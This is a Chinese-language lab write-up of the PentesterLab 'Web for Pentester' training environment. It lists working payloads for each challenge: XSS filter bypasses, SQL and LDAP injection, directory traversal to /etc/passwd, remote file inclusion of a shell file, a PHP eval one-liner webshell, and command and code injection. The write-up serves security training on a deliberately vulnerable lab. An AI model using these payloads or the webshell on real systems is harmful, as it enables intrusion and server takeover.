Web for Pentester


传统漏洞之前学习过一段时间,但在实际工作中用的并不顺手,我想找个系统点的靶场来进行练习,于是找到了Web for Pentester。

Web for Pentester是PentesterLab提供的靶场,ISO下载地址:Web  for Pentester 

 

平台主要包含如下漏洞:

Code injection (代码注入)

Commands injection(命令行注入)

XSS(跨站脚本)

SQL injections(sql注入)

File include(文件包含)

LDAP attacks(LDAP攻击)

File Upload(文件上传)

XML attacks(XML攻击)

 

 

 

实战

用netdiscover局域网查找靶机

Web For Pentester

 

 

 

使用 Nmap 扫描靶机端口

Web For Pentester

 

访问靶机80端口

Web For Pentester

 

 

 

 

XSS

Example1

基本xss

<script>alert(/xss/)</script>

Web For Pentester

 

 

 

Example2

<script>和</script>被过滤,用大小写绕过:
<scRipt>alert(/xss/)</SCript>

Web For Pentester

 

 

 

Example3

字符拼接方式绕过:
<scr<script>ipt>alert(/xss/)</scr</sCript>ipt>

Web For Pentester

 

 

Example4

script彻底屏蔽,换一个标签:
<img src='' onerror="alert('xss');">

Web For Pentester

 

 

Example5

过滤了alert:  
<script>prompt('xss')</script>

Web For Pentester

 

 

Example6

输入放到script标签里面了,自己构造脚本就好( \\ 是js的注释符): 
";alert(/xss/);//

Web For Pentester

 

 

Example7

双引号换成单引号:

';alert(/xss/);//

Web For Pentester

 

 

Example8

还可以这样

/"><script>alert(1)</script>

Web For Pentester

 

 

Example9

用到locaiton.has,DOM型xss。

/xss/example9.php#<script>alert(/xss/)</script>,理论上来说这样应该可行,实际上不行,<>被编码了,无法弹出alert:

hmm...查了一下资料,这里的编码并不是咱们能控制的,与不同浏览器内部解释机制有关。。chrome和firefox都会对<>编码,然鹅,ie木有(这么看来ie不能卸!!)

<script>alert(/xss/)</script>

Web For Pentester

 

SQL injections

Example1

'or 1=1+--+

Web For Pentester

 

 

 Example2

'/**/or/**/'1'='1

 Web For Pentester

 

 

 

Example3

'/**/or/**/'1'='1

  Web For Pentester

 

 

 

Example4

or 1=1

  Web For Pentester

 

 

 

Example5

or 1=1

  Web For Pentester

 

 

Example9

IF(1,name,age)

Web For Pentester

 

 

 

 

Directory traversal

Example1

../../../../../../etc/passwd

Web For Pentester

 

 

 

Example2

/var/www/files/../../../../../../etc/passwd

 Web For Pentester

 

 

 

Example3

../../../../etc/passwd%00.png

Web For Pentester

 

 

 

 

File Include

Example1

/etc/passwd

Web For Pentester

 

 

 

Example2

/etc/passwd%00

Web For Pentester

 

 

 本地包含木马

/fileincl/example2.php?page=http://192.168.0.102/shell.txt
一句话PHP木马:
<?php @eval($POST['123']);?>

Web For Pentester

 

 

 

 

Code injection

Example1

".system('ls');//

php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。

注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。

Web For Pentester

 

 

 

Example2

);}system('ls');//

usort() 使用用户自定义的比较函数对数组进行排序。语法:usort(array,myfunction);

usort()经常与该功能create_function一起使用,以基于用户控制的信息动态生成“分类”功能。如果Web应用程序缺乏有效的筛选和验证,则可能导致代码执行。

Web For Pentester

 

 

 

Example3

system('ls')&pattern=/lamer/e&base=Hello%20lamer

preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

Web For Pentester

 

 

 

Example4

'.system('ls').'

看到assert函数就要警惕了,和eval函数都是一句话后门程序。区别在于eval函数中参数是字符串,assert函数中的参数是表达式或者是函数。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

htmlentities() 函数把字符串转换为HTML实体。

Web For Pentester

 

 

 

Commands injection

Example1

127.0.0.1 | cat /etc/passwd

 Web For Pentester

 

 

 

Example2

%0A cat /etc/passwd

 Web For Pentester

 

 

 

 

Example3

|uname+-a

Web For Pentester

 

 

 

 

LDAP attacks

Example1

发送空值,LDAP服务器会继续绑定链接

Web For Pentester

 

 

 

Example2

Example2的后端源代码,需要传入两个参数一个是name另一个是password,password由于在传入后被md5加密,所以基本不能注入,所以这里我们考虑name

LDAP经常使用通配符*字符来匹配任何值。还有需要注意的就是和别的注入相似我们也需要注释掉后面没用的代码,ldap可以使用NULL BYTE(即%00)来注释掉后面的代码。

下面我们就通配符*做一个简单的测试:

username=hacker&password=hacker 得到认证(这是正常的情况)。

username=hack*&password=hacker 得到认证(通配符匹配相同的值)。

username=hacker&password=hac* 没有得到认证(密码可能会被md5、hash加密过)。

 

a*)(cn=*))%00password=aaa

Web For Pentester

 

 

 

File Upload

Example1

可以直接上传文件

Web For Pentester

 

 

Example2

不允许上传php后缀文件,这里可以把后缀改为test

Web For Pentester

 

 

XML attacks

Example1

Web For Pentester

 

 

Example2

hacker ' or 1=1']%00

 

 Web For Pentester

 

相关文章:

  • 2021-10-01
  • 2021-10-01
  • 2021-10-01
  • 2021-10-01
  • 2021-10-01
  • 2022-01-02
  • 2021-06-04
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2021-07-17
  • 2021-11-29
  • 2020-07-15
  • 2021-10-01
  • 2021-10-01
相关资源
相似解决方案